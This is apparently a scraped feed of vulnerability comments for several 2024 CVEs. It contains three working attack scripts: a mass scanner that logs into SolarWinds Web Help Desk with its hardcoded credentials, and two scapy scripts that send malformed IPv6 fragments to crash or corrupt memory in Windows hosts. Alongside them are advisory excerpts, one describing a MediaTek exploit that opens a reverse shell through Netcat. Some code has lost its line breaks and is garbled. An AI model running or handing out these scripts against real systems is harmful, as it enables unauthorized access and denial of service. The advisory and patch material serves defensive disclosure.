Recent comments
Log in or create an account to share your comment.
A PoC is available here: https://github.com/fa-rrel/CVE-2024-28987-POC
import argparse
import base64
import requests
# Created by Ghost sec.
RED = "\033[91m"
GREEN = "\033[92m"
BOLD = "\033[1m"
RESET = "\033[0m"
ascii_art = f"""
{BOLD}{RED}
______ __ __
/ \ / | / |
/$$$$$$ |$$ |____ ______ _______ _$$ |_ _______ ______ _______
$$ | _$$/ $$ \ / \ / |/ $$ | / | / \ / |
$$ |/ |$$$$$$$ |/$$$$$$ |/$$$$$$$/ $$$$$$/ /$$$$$$$/ /$$$$$$ |/$$$$$$$/
$$ |$$$$ |$$ | $$ |$$ | $$ |$$ \ $$ | __ $$ \ $$ $$ |$$ |
$$ \__$$ |$$ | $$ |$$ \__$$ | $$$$$$ | $$ |/ | $$$$$$ |$$$$$$$$/ $$ \_____
$$ $$/ $$ | $$ |$$ $$/ / $$/ $$ $$/ / $$/ $$ |$$ |
$$$$$$/ $$/ $$/ $$$$$$/ $$$$$$$/ $$$$/ $$$$$$$/ $$$$$$$/ $$$$$$$/
PROOF OF CONCEPT CVE-2024-28987 || SCANNING VULNERABILITY POC || github.com/fa-rrel
{RESET}
"""
print(ascii_art)
def get_basic_auth_header(username, password):
credentials = f"{username}:{password}"
base64_credentials = base64.b64encode(credentials.encode()).decode('utf-8')
return {'Authorization': f'Basic {base64_credentials}'}
def scan_target(hostname):
# Ensure hostname does not have trailing slashes
hostname = hostname.strip().rstrip('/')
url = f"http://{hostname}/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/"
# Print formatted URL for debugging
print(f"{BOLD}[*] Scanning URL: {url}{RESET}")
headers = get_basic_auth_header("helpdeskIntegrationUser", "dev-C4F8025E7")
headers['Content-Type'] = 'application/x-www-form-urlencoded'
try:
response = requests.get(url, headers=headers, timeout=10)
if response.status_code == 200 and 'displayClient' in response.text and 'shortDetail' in response.text:
print(f"{BOLD}{GREEN}[+] Vulnerability confirmed on {hostname} with username: 'helpdeskIntegrationUser' and password: 'dev-C4F8025E7'{RESET}")
else:
print(f"{BOLD}{RED}[-] No vulnerability detected on {hostname}{RESET}")
except requests.RequestException:
# Modify this line to just print "Not vulnerable" instead of the error details
print(f"{BOLD}{RED}[-] Not vulnerable on {hostname}{RESET}")
def scan_targets_from_file(file_path):
try:
with open(file_path, 'r') as file:
targets = file.readlines()
if not targets:
print(f"{BOLD}{RED}[!] No targets found in file{RESET}")
return
for target in targets:
target = target.strip()
if target:
scan_target(target)
except FileNotFoundError:
print(f"{BOLD}{RED}[!] File {file_path} not found{RESET}")
except Exception as e:
print(f"{BOLD}{RED}[!] An error occurred: {e}{RESET}")
def main():
parser = argparse.ArgumentParser(description="CVE-2024-28987 Scanner - SolarWinds Web Help Desk Hardcoded Credential")
parser.add_argument('-f', '--file', type=str, required=True, help='File containing list of targets')
args = parser.parse_args()
scan_targets_from_file(args.file)
if __name__ == "__main__":
main()
We are now reporting in our feeds Fortinet IPs still likely vulnerable to CVE-2024-23113 (format string pre-auth RCE). This vulnerability is known to be exploited in the wild.
87,390 IPs found on 2024-10-12. Top: US (14K), Japan (5.1K), India (4.8K)
Ref Original post
Ref Shadowserver - map Ref Statistics of the available vulnerable devices
From a quick analysis comparing the previous tag and the information found in the the changelog:
[Do not create a pipeline on MR refresh if source branch was deleted](https://gitlab.com/gitlab-org/security/gitlab/-/commit/3dd89a71b436e8218a5d159a1dd75cb2de078129) ([merge request](https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/4524))
the fix of this vuln seems to be: https://gitlab.com/gitlab-org/gitlab/-/commit/480d0bd7ccdca6f93ff715abcd6c2fa7a9bebec2
- GitLab Critical Patch Release: 17.4.2, 17.3.5, 17.2.9 - https://about.gitlab.com/releases/2024/10/09/patch-release-gitlab-17-4-2-released/
Run pipelines on arbitrary branches
An issue was discovered in GitLab EE affecting all versions starting from 12.5 prior to 17.2.9, starting from 17.3, prior to 17.3.5, and starting from 17.4 prior to 17.4.2, which allows running pipelines on arbitrary branches. This is a critical severity issue (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N, 9.6). It is now mitigated in the latest release and is assigned CVE-2024-9164.
Critical Exploit in MediaTek Wi-Fi Chipsets: Zero-Click Vulnerability (CVE-2024-20017) Threatens Routers and Smartphones
By Security News from https://blog.sonicwall.com/en-us/2024/09/critical-exploit-in-mediatek-wi-fi-chipsets-zero-click-vulnerability-cve-2024-20017-threatens-routers-and-smartphones/
September 19, 2024
Overview
The SonicWall Capture Labs threat research team became aware of the threat CVE-2024-20017, assessed its impact and developed mitigation measures for the vulnerability. CVE-2024-20017 is a critical zero-click vulnerability with a CVSS 3.0 score of 9.8, impacting MediaTek Wi-Fi chipsets MT7622/MT7915 and RTxxxx SoftAP driver bundles used in products from various manufacturers, including Ubiquiti, Xiaomi and Netgear. The affected versions include MediaTek SDK versions 7.4.0.1 and earlier, as well as OpenWrt 19.07 and 21.02. This translates to a large variety of vulnerable devices, including routers and smartphones. The flaw allows remote code execution without user interaction due to an out-of-bounds write issue. MediaTek has released patches to mitigate the vulnerability and users should update their devices immediately. While this vulnerability was published and patched back in March, only recently did a public PoC become available making exploitation more likely.
Technical Overview
The vulnerability resides in wappd, a network daemon included in the MediaTek MT7622/MT7915 SDK and RTxxxx SoftAP driver bundle. This service is responsible for configuring and managing wireless interfaces and access points, particularly with Hotspot 2.0 technologies. The architecture of wappd is complex, comprising the network service itself, a set of local services that interact with the device’s wireless interfaces, and communication channels between components via Unix domain sockets. Ultimately, the vulnerability is a buffer overflow as a result of a length value taken directly from attacker-controlled packet data without bounds checking and placed into a memory copy. This buffer overflow creates an out-of-bounds write.
Triggering the Vulnerability
The vulnerability exists in the IAPP_RcvHandlerSSB function where an attacker controlled length value is passed to the IAPP_MEM_MOVE macro as described in hyprdude’s blog and seen in Figure 1.
Figure 1: Vulnerable Code sourced from hyprdude
Prior to the last line which calls IAPP_MEM_MOVE, the only bounds check done is to check that the provided length does not exceed the maximum packet length of 1600 bytes. As the size of the destination struct is only 167 bytes, this results in a stack buffer overflow of up to 1433 bytes. To trigger this vulnerability an attacker must send a packet with the expected structures prepending the attack payload. These structures are referred to as the RT_IAPP_HEADER and the RT_IAPP_SEND_SECURITY_BLOCK within the code. To bypass validation checks the length of the RT_IAPP_HEADER struct needs to be small and the RT_IAPP_HEADER.Command field must be to 50.
Exploitation
The publicly available exploit code achieves remote code execution by using a global address table overwrite technique via a return-oriented programming (ROP) chain. This method leverages the system() call to execute commands, such as sending a reverse shell back to the attacker. The reverse shell is established using Bash and the existing Netcat tool on the chipset. Figure 2 illustrates how the reverse shell command is crafted and embedded within the payload to enable this exploitation tactic.
Figure 2: Reverse Shell Commands
SonicWall Protections
To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:
IPS: 20322 MediaTek MT7915 wlan Service OOB Write 1 IPS: 20323 MediaTek MT7915 wlan Service OOB Write 2
Remediation Recommendations
Due to the availability of the exploit code, it is highly recommended that users upgrade to the latest version of the firmware for their
Cisco recently released an advisory for CVE-2024-20439 here. (nvd) Please note I did not discover this vulnerability, I just reverse engineered the vulnerability from the advisory published by Nicholas Starke https://starkeblog.com/
- https://censys.com/cve-2024-40711/
- https://labs.watchtowr.com/veeam-backup-response-rce-with-auth-but-mostly-without-auth-cve-2024-40711-2/
Well, that was a complex vulnerability, requiring a lot of code-reading! We’ve successfully shown how multiple bugs can be chained together to gain RCE in a variety of versions of Veeam Backup & Replication.
We’re a little confused by Veeam’s advisory, however, which seems to be contradictory. As you may recall from the very start of the blogpost, Veeam’s advice was that versions up to and including 12.1.2.172 are vulnerable. While the title of the bug states that “A vulnerability allowing unauthenticated remote code execution (RCE)“, suggesting a world-ending CVSS 10 bug, they then proceed to label the bug as a less-serious CVSS 9.8, requiring user authentication before exploitation is possible. This is confusing, because all versions beneath 12.1.2.172 don’t require authentication to exploit, and only a change made in 12.1.2.172 made it so authentication was required (see above analysis).
Perhaps Veeam simply made an error in their advisory, as we (and Code White) clearly demonstrate that authentication is not required. Hopefully, a pre-emptive change wasn’t made in 12.1.2.172 to downgrade the eventual severity of this vulnerability.
Regardless of CVSS, the actual situation, as you can see above, is somewhat more nuanced than ‘RCE before 12.1.2.172':
Version Status
12.2.0.334 Fully patched. Not affected by the vulnerabilities in this blogpost.
12.1.2.172 Affected, but exploitation requires authentication. Low privilege users are able to execute arbitrary code.
12.1.1.56 and earlier Vulnerable to unauthenticated RCE.
Speaking of exploitation, we’re breaking with tradition on this bug by not releasing a full exploit chain (sorry, folks!). We’re a little worried by just how valuable this bug is to malware operators, and so are (on this occasion only) refraining from dropping a working exploit. The most we’re going to drop is this tantalizing video of exploitation, which will have to tide you over until our next post:
MISP 2.4.197 released with many bugs fixed, a security fix and improvements.
2024-09-05T12:30:37 by Alexandre Dulaunoy- MISP 2.4.197 released with many bugs fixed, a security fix and improvements. The MISP release 2.4.197
Analysis of a Windows IPv6 Fragmentation Vulnerability: CVE-2021-24086
2024-08-28T09:53:22 by Cédric BonhommeAnalysis of a denial of service vulnerability affecting the IPv6 stack of Windows.
This issue, whose root cause can be found in the mishandling of IPv6 fragments, was patched by Microsoft in their February 2021 security bulletin.
Proof of Concept
```python import sys import random
from scapy.all import *
FRAGMENT_SIZE = 0x400 LAYER4_FRAG_OFFSET = 0x8
NEXT_HEADER_IPV6_ROUTE = 43 NEXT_HEADER_IPV6_FRAG = 44 NEXT_HEADER_IPV6_ICMP = 58
def get_layer4(): er = ICMPv6EchoRequest(data = "PoC for CVE-2021-24086") er.cksum = 0xa472
return raw(er)
def get_inner_packet(target_addr): inner_frag_id = random.randint(0, 0xffffffff) print("**** inner_frag_id: 0x{:x}".format(inner_frag_id)) raw_er = get_layer4()
# 0x1ffa Routing headers == 0xffd0 bytes
routes = raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_ROUTE)) * (0xffd0//8 - 1)
routes += raw(IPv6ExtHdrRouting(addresses=[], nh = NEXT_HEADER_IPV6_FRAG))
# First inner fragment header: offset=0, more=1
FH = IPv6ExtHdrFragment(offset = 0, m=1, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
return routes + raw(FH) + raw_er[:LAYER4_FRAG_OFFSET], inner_frag_id
def send_last_inner_fragment(target_addr, inner_frag_id):
raw_er = get_layer4()
ip = IPv6(dst = target_addr)
# Second (and last) inner fragment header: offset=1, more=0
FH = IPv6ExtHdrFragment(offset = LAYER4_FRAG_OFFSET // 8, m=0, id=inner_frag_id, nh = NEXT_HEADER_IPV6_ICMP)
send(ip/FH/raw_er[LAYER4_FRAG_OFFSET:])
def trigger(target_addr):
inner_packet, inner_frag_id = get_inner_packet(target_addr)
ip = IPv6(dst = target_addr)
hopbyhop = IPv6ExtHdrHopByHop(nh = NEXT_HEADER_IPV6_FRAG)
outer_frag_id = random.randint(0, 0xffffffff)
fragmentable_part = []
for i in range(len(inner_packet) // FRAGMENT_SIZE):
fragmentable_part.append(inner_packet[i * FRAGMENT_SIZE: (i+1) * FRAGMENT_SIZE])
if len(inner_packet) % FRAGMENT_SIZE:
fragmentable_part.append(inner_packet[(len(fragmentable_part)) * FRAGMENT_SIZE:])
print("Preparing frags...")
frag_offset = 0
frags_to_send = []
is_first = True
for i in range(len(fragmentable_part)):
if i == len(fragmentable_part) - 1:
more = 0
else:
more = 1
FH = IPv6ExtHdrFragment(offset = frag_offset // 8, m=more, id=outer_frag_id, nh = NEXT_HEADER_IPV6_ROUTE)
blob = raw(FH/fragmentable_part[i])
frag_offset += FRAGMENT_SIZE
frags_to_send.append(ip/hopbyhop/blob)
print("Sending {} frags...".format(len(frags_to_send)))
for frag in frags_to_send:
send(frag)
print("Now sending the last inner fragment to trigger the bug...")
send_last_inner_fragment(target_addr, inner_frag_id)
if name == 'main': if len(sys.argv) < 2: print('Usage: cve-2021-24086.py ') sys.exit(1) trigger(sys.argv[1]) ```
Proof of Concept for CVE-2024-38063, a RCE in tcpip.sys patched on August 13th 2024.
An analysis of the vulnerability published on August 27, 2024 by Marcus Hutchins.
PoC published on GitHub on August 24, 2024.
Implementation
Implementation details are available on GitHub.
from scapy.all import *
iface=''
ip_addr=''
mac_addr=''
num_tries=20
num_batches=20
def get_packets_with_mac(i):
frag_id = 0xdebac1e + i
first = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = Ether(dst=mac_addr) / IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
def get_packets(i):
if mac_addr != '':
return get_packets_with_mac(i)
frag_id = 0xdebac1e + i
first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
return [first, second, third]
final_ps = []
for _ in range(num_batches):
for i in range(num_tries):
final_ps += get_packets(i) + get_packets(i)
print("Sending packets")
if mac_addr != '':
sendp(final_ps, iface)
else:
send(final_ps, iface)
for i in range(60):
print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
time.sleep(1)
print("")